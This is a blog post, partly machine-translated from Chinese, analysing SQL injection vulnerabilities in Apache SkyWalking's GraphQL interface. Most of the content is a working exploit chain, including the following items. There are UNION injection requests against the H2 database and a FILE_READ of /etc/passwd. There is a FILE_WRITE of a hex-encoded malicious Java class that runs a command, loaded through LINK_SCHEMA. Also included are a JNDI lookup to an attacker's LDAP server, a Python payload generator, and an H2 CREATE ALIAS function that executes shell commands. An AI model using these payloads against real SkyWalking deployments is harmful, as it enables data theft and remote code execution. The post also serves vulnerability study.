当前位置:网站首页>skywalking vulnerability learning
skywalking vulnerability learning
2022-08-10 17:19:00 【HhhM】
skywalking漏洞学习
2022-04-04 12:04:00
skywalking
skywalking漏洞分析
Apache SkyWalking 是一款应用性能监控(APM)工具,对微服务、云原生和容器化应用提供自动化、高性能的监控方案.Its official website shows,Plenty of domestic internet、Companies in fields such as banking and civil aviation use this tool.
https://github.com/apache/skywalking
https://archive.apache.org/dist/skywalking/6.6.0/apache-skywalking-apm-6.6.0-src.tgz
https://archive.apache.org/dist/skywalking/6.6.0/apache-skywalking-apm-6.6.0.tar.gz
https://archive.apache.org/dist/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz
https://archive.apache.org/dist/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz
A few holes are all aboutgraphqlVulnerability caused by injection,在skywalkingAccess after deploymenthttp://127.0.0.1:8080/graphqlwill find that one is providedgraphql接口,允许使用graphql查询数据.
远程调试
在下载的apache-skywalking-apm-8.3.0-src.tgz的bin下找到startup.sh,能够看出skywalking由:
OAP_EXE=oapService.sh
WEBAPP_EXE=webappService.shoap和webapp两个service组成,Several of our vulnerabilities are locatedoap中,在oapservice.sh中,Just add the debug command to the startup statement:
DEBUG_OPTIONS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=12346"Ide:
skywalking中的graphql
skywalking中关于graphqlThe interface declaration is written in:
org.apache.skywalking.oap.query.graphql.GraphQLQueryProvider#prepare
According to these files, the corresponding interface can be found.
Feel free to grab a package to get its format:
POST /graphql HTTP/1.1
Host: 172.30.3.165:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 247
Origin: http://172.30.3.165:8080
Connection: close
Referer: http://172.30.3.165:8080/
{"query":"query queryServices($duration: Duration!) {\n services: getAllServices(duration: $duration) {\n key: id\n label: name\n }\n }","variables":{"duration":{"start":"2022-03-04 1511","end":"2022-03-04 1526","step":"MINUTE"}}}CVE-2020-9483
当SkyWalking使用H2、MySQL或者TiDBas a storage solution,An attacker can pass the default unauthorizedGraphQLThe interface constructs a malicious request,从而获取敏感数据
https://github.com/apache/skywalking/pull/4639
Version:6.0-6.6\7.0
commit位于:https://github.com/apache/skywalking/pull/4639/commits/2b6aae3b733f9dbeae1d6eff4f1975c723e1e7d1
没什么好说的,Mainly due to injection caused by splicing,漏洞点位于: oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetricsQueryDAO.java#getLinearIntValues:
try (ResultSet resultSet = h2Client.executeQuery(
connection, "select id, " + valueCName + " from " + tableName + " where id in (" + idValues
.toString() + ")")) {idValues可控,The corresponding query is located at:
https://github.com/apache/skywalking-query-protocol/tree/e47462fd6af92d42d1c161cf1cec975661148ab0
It defines how to use it:
//https://github.com/apache/skywalking-query-protocol/blob/e47462fd6af92d42d1c161cf1cec975661148ab0/common.graphqls
input Duration {
start: String!
end: String!
step: Step!
}
//https://github.com/apache/skywalking-query-protocol/blob/e47462fd6af92d42d1c161cf1cec975661148ab0/metric.graphqls
input MetricCondition {
# Metric name, which should be defined in OAL script
# Such as:
# Endpoint_avg = from(Endpoint.latency).avg()
# Then, `Endpoint_avg`
name: String!
# Id in this metric type.
# In the above case, the id should be endpoint id.
id: ID
}
extend type Query {
getValues(metric: BatchMetricConditions!, duration: Duration!): IntValues
getLinearIntValues(metric: MetricCondition!, duration: Duration!): IntValues
getThermodynamic(metric: MetricCondition!, duration: Duration!): Thermodynamic
}Breakpoints can be found after debugging:
wherePost splicing and then direct splicingunion即可完成注入:
POST /graphql HTTP/1.1
Host: 172.30.3.165:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 1451
Origin: http://172.30.3.165:8080
Connection: close
Referer: http://172.30.3.165:8080/
{"query":"query queryData($duration: Duration!) {\n globalHeatmap: getThermodynamic(duration: $duration, metric: {\n name: \"all_heatmap\"\n }) {\n nodes responseTimeStep: axisYStep\n }\n globalP99: getLinearIntValues(metric: {\n name: \"all_p99\"\n }, duration: $duration) { values { value } }\n globalP95: getLinearIntValues(metric: {\n name: \"all_p95\"\n }, duration: $duration) { values { value } }\n globalP90: getLinearIntValues(metric: {\n name: \"all_p90\"\n }, duration: $duration) { values { value } }\n globalP75: getLinearIntValues(metric: {name: \"all_p99\", id: \"') UNION ALL SELECT NULL,CONCAT('~', H2VERSION(), '~')--\" }, duration: $duration) { values { value } }\n globalP50: getLinearIntValues(metric: {\n name: \"all_p50\"\n }, duration: $duration) { values { value } }\n globalBrief: getGlobalBrief(duration: $duration) {\n numOfService numOfEndpoint numOfDatabase numOfCache numOfMQ\n }\n globalThroughput: getServiceTopN(\n duration: $duration,\n name: \"service_cpm\",\n topN: 10,\n order: DES\n ) {\n key: id label: name value\n }\n globalSlow: getAllEndpointTopN(\n duration: $duration,\n name: \"endpoint_avg\",\n topN: 10,\n order: DES\n ) {\n key: id label: name value\n }}","variables":{"serviceId":"","endpointId":"","endpointName":"","instanceId":"","databaseId":"","duration":{"start":"2022-03-04 1511","end":"2022-03-04 1526","step":"MINUTE"}}}简化一下:
{
"query": "query ($duration: Duration!){getLinearIntValues(metric: {name: \"all_p99\", id: \"') UNION ALL SELECT NULL,CONCAT('~', H2VERSION(), '~')--\" }, duration: $duration) { values { value } }}","variables": {
"duration": {
"start": "2022-03-04 1417",
"end": "2022-03-04 1418",
"step": "MINUTE"
}
}
}It is a pity that is used hereexecuteQuery,Dig deeper and you will find that it is calledprepareStatement,Unable to perform stack injection.
ps.Stacked injection is usually usedaddBatch 和 executeBatch 这两个函数.
CVE-2020-13921and the latest injection
https://github.com/apache/skywalking/pull/4970
ver:6.5.0, 6.6.0, 7.0.0, 8.0.0, 8.0.1
There are many classes involved,Or injection caused by splicing:
以org.apache.skywalking.oap.server.storage.plugin.jdbc.h2.dao.H2MetadataQueryDAO#searchServices为例,其graphqls如下:
searchServices(duration: Duration!, keyword: String!): [Service!]!constructed from thispoc如下:
{
"query": "query ($duration: Duration!,$keyword: String!){searchServices(duration: $duration,keyword:$keyword) {key: id,label: name}}","variables": {
"duration": {
"start": "2022-03-04 1417",
"end": "2022-03-04 1418",
"step": "MINUTE"
},
"keyword":"123"
}
}注入点位于keyword,sql语句变为:
select * from service_inventory where ( (heartbeat_time >= ? and register_time <= ? ) or (register_time <= ? and heartbeat_time >= ? ) ) and is_address=? and name like "%123%" limit 5000But atlikeFields are less convenient to inject,Try injecting always hereColumn \"%\" not found.
However, the official repair of the above injection is not perfect,There is one more placequeryLog注入,漏洞点位于org.apache.skywalking.oap.server.storage.plugin.jdbc.h2.dao.H2LogQueryDAO#queryLogs:
对于metricName做了拼接,而关于querylog的用法在log.graphqls中有:
type Log {
serviceName: String
serviceId: ID
serviceInstanceName: String
serviceInstanceId: ID
endpointName: String
endpointId: ID
traceId: String
timestamp: String!
isError: Boolean
statusCode: String
contentType: ContentType!
content: String
}
input LogQueryCondition {
# Metric name of the log records
metricName: ID
# The value of 0 means all services.
serviceId: ID
serviceInstanceId: ID
endpointId: ID
traceId: String
# The time range of log happened
queryDuration: Duration
state: LogState!
stateCode: String
paging: Pagination!
}
extend type Query {
queryLogs(condition: LogQueryCondition): Logs
}constructed with thispoc,It should be noted that precompilation is used later,When injecting, you need to comment out the placeholders on subsequent splicing,Therefore, two placeholders need to be added manually:
{
"query": "query ($condition: LogQueryCondition) { queryLogs(condition: $condition) { logs{ content } }}",
"variables": {
"condition": {
"metricName": "INFORMATION_SCHEMA.USERS) union SELECT CONCAT('~', H2VERSION(), '~') where ?=1 or ?=1 or 1=1--",
"paging": {
"pageNum": 1,
"pageSize": 1
},
"state": "ALL",
"queryDuration": {
"start": "2021-02-07 1554",
"end": "2021-02-07 1554",
"step": "MINUTE"
}
}
}
}h2Further utilization of injection
h2There are many ways to use injection,因为skywalking是以sa权限启动的h2,So all kinds of functions that require permission can be used.
Functions to read filesFILE_READ:
SELECT FILE_READ('/etc/passwd', NULL)Can read and write,The file write function is FILE_WRITE:
SELECT FILE_WRITE('00000074000000650000007300000074', 'hello.txt')ps.What needs to be written here is16binary file content.
getshell的方式也有,In addition to the regular use of writing files to timed tasks or other gestures that I don't understand,还有利用h2内置的函数link_schema.
首先,By writing to a file we can write malicious classes,But the malicious class still needs to be loaded to achieve the effect of executing the code,而link_schemaThe second parameter of the function has the effect of loading the class under the hood.
You can see the specific code after following up from here,具体在:org.h2.util.JdbcUtils#loadUserClass,没啥好说的,is the last callClass.forName.
Then the malicious class we wrote can be loaded here.
{
"query": "query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}",
"variables": {
"condition": {
"metricName": "(select 1 where ?=1 or ?=1 or SELECT FILE_WRITE('cafebabe0000003a00200a000200030700040c000500060100106a6176612f6c616e672f4f626a6563740100063c696e69743e0100032829560a0008000907000a0c000b000c0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b08000e0100126f70656e202d612063616c63756c61746f720a000800100c0011001201000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0700140100136a6176612f6c616e672f5468726f7761626c650a001300160c0017000601000f7072696e74537461636b547261636507001901000445787031010004436f646501000f4c696e654e756d6265725461626c650100083c636c696e69743e01000d537461636b4d61705461626c6501000a536f7572636546696c65010009457870312e6a6176610021001800020000000000020001000500060001001a0000001d00010001000000052ab70001b100000001001b000000060001000000010008001c00060001001a0000004f0002000100000012b80007120db6000f57a700084b2ab60015b1000100000009000c00130002001b0000001600050000000400090007000c0005000d000600110008001d0000000700024c070013040001001e00000002001f', '../config/Exp1.class'))) --",
"paging": {
"pageNum": 1,
"pageSize": 1,
"needTotal": true
},
"state": "ALL",
"queryDuration": {
"start": "2021-02-07 1554",
"end": "2021-02-07 1609",
"step": "MINUTE"
}
}
}
}It should be noted that the written path changes according to the actual writable path,不一定是config.
加载:
{
"query": "query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}",
"variables": {
"condition": {
"metricName": "(select 1 where ?=1 or ?=1 or LINK_SCHEMA('file', 'Exp1', 'test', 'sa', 'sa', 'PUBLIC'))) --",
"paging": {
"pageNum": 1,
"pageSize": 1,
"needTotal": true
},
"state": "ALL",
"queryDuration": {
"start": "2021-02-07 1554",
"end": "2021-02-07 1609",
"step": "MINUTE"
}
}
}
}Because of the class loading mechanism(双亲委派机制)As a result, the loaded class cannot be loaded again,So each time you need to create a different class name to load,will be written at the same timeeviClasses and loading are put together,Simply write a build script:
import random
import os
code = """
public class %s {
static {
try {
Runtime.getRuntime().exec("%s");
} catch (Throwable e) {
e.printStackTrace();
}
}
}
"""
name = "A"+str(int(random.random()*100000))
exp = "open -a calculator"
code = code%(name,exp)
with open(name+".java","w") as f:
f.write(code)
os.system("javac "+name+".java")
bc = ""
with open(name+".class","rb") as f:
for i in f.read():
if len(str(hex((i))))<4:
bc += "0"+str(hex((i))).replace("0x","")
else:
bc += str(hex((i)))[2:4]
# print(bc)
gqll = """
{
"query": "query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}",
"variables": {
"condition": {
"metricName": "(select 1 where ?=1 or ?=1 or SELECT FILE_WRITE('%s', '../config/%s.class') and LINK_SCHEMA('file', '%s', 'test', 'sa', 'sa', 'PUBLIC'))) --",
"paging": {
"pageNum": 1,
"pageSize": 1,
"needTotal": true
},
"state": "ALL",
"queryDuration": {
"start": "2021-02-07 1554",
"end": "2021-02-07 1609",
"step": "MINUTE"
}
}
}
}"""%(bc,name,name)
os.system("rm -rf %s %s"%(name+".java",name+".class"))
print(gqll.replace("\n",""))往swTriggered when droppedcalc了.
Go back to the previous one after trying to successfully load the malicious classlink_schema底层代码,You will find interesting things(lookup):
很熟悉的东西,一看见lookupImmediately think of itjndi,是否可以直接利用jndi注入?答案是可以的.
var1实际上是link_schema的第三个参数,That is, the connection string to the database,第二个参数放入javax.naming.InitialContext,此时可以用lookup来发起连接.
{
"query": "query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}",
"variables": {
"condition": {
"metricName": "(select 1 where ?=1 or ?=1 or LINK_SCHEMA('file', 'javax.naming.InitialContext', 'ldap://vps:port/Exploit', 'sa', 'sa', 'PUBLIC'))) --",
"paging": {
"pageNum": 1,
"pageSize": 1,
"needTotal": true
},
"state": "ALL",
"queryDuration": {
"start": "2021-02-07 1554",
"end": "2021-02-07 1609",
"step": "MINUTE"
}
}
}
}在CVE-2020-9483Stacked injection is mentioned from time to time,swSeveral injections were used in the endexecuteQuery->prepareStatement,The stacking conditions are not met,Now that it's mentioned, let's take a look at the case where stack injection is allowedh2db的getshell方式.
CREATE ALIAS创建函数$$Inside is the function definition:
CREATE ALIAS SHELLEXEC4 AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter('\\\\A'); if(s.hasNext()){return s.next();}else{return '';} }$$;CALL SHELLEXEC4('id');最后用callTo call a function to achieve command execution.
ref
https://www.anquanke.com/post/id/231753
https://www.sec-in.com/article/827
https://xz.aliyun.com/t/9217
https://xz.aliyun.com/t/9202
本文原创于HhhM的博客,转载请标明出处.
边栏推荐
- How to generate code using the Swift Package plugin
- The sword refers to OfferⅡ 045. The bottommost leftmost value of the binary tree dfs
- shell获取前n天的日期
- 轮询以及webSocket与socket.io原理
- 电力系统潮流计算与PowerWorld仿真(牛顿拉夫逊法和高斯赛德尔法)(Matlab实现)
- defi质押借贷理财挖矿dapp系统开发逻辑
- C专家编程 第10章 再论指针 10.5 使用指针向函数传递一个多维数组
- 事务的隔离级别,MySQL的默认隔离级别
- v-model指令:获取和设置表单元素的值
- 【科研】常见火灾数据集
猜你喜欢
![PC软件问题二[Win10系统将UltraEdit添加到右键菜单的方法]](/img/4f/f3856e135302bcf5902bf987b7ed4d.png)
PC软件问题二[Win10系统将UltraEdit添加到右键菜单的方法]

How to use bitwise operators in C language

Go-Excelize API源码阅读(六)—— DeleteSheet(sheet string)

网易云信亮相LiveVideoStackCon2022,解构基于WebRTC的开源低延时播放器实践

HTTP学习——协议与术语、HTTP、缓存、Cookie

轮询以及webSocket与socket.io原理

还在用 Xshell?你 out 了,推荐一个更现代的终端连接工具,好用到爆!

How to realize full backup and incremental backup of MySQL database

训练一个神经网络要多久,神经网络训练时间过长

2022 CCF China Open Source Conference Notice (Fourth Round)
随机推荐
Trie字典树
BalsnCTF2021
2021强网杯
浅谈泰山众筹系统开发技术说明及dapp链上众筹系统开发分析
直播预告|从新手村到魔王城,高效默契的敏捷团队如何炼成
软件工程基础知识--需求分析
C language symbols on how to use
险资又做LP,一出手40亿
【随笔】自己看的... 保存
kuangbin专题一 简单搜索
leetcode:1013. 将数组分成和相等的三个部分
还在用 Xshell?你 out 了,推荐一个更现代的终端连接工具,好用到爆!
promise笔记(二)
Pytorch GPU模型推理时间探讨2——显卡warm up
The sword refers to OfferⅡ 045. The bottommost leftmost value of the binary tree dfs
《安富莱嵌入式周报》第277期:业界首款Cortex-M55+Ethos-U55 NPU套件发布,20个墨水屏菊花链玩法,氙气灯镇流器设计
如何构建一个自己的代理ip池
什么是开源中的 “胖虎效应”
植物肉,为何在中国没法“真香”?
leetcode:337. 打家劫舍 III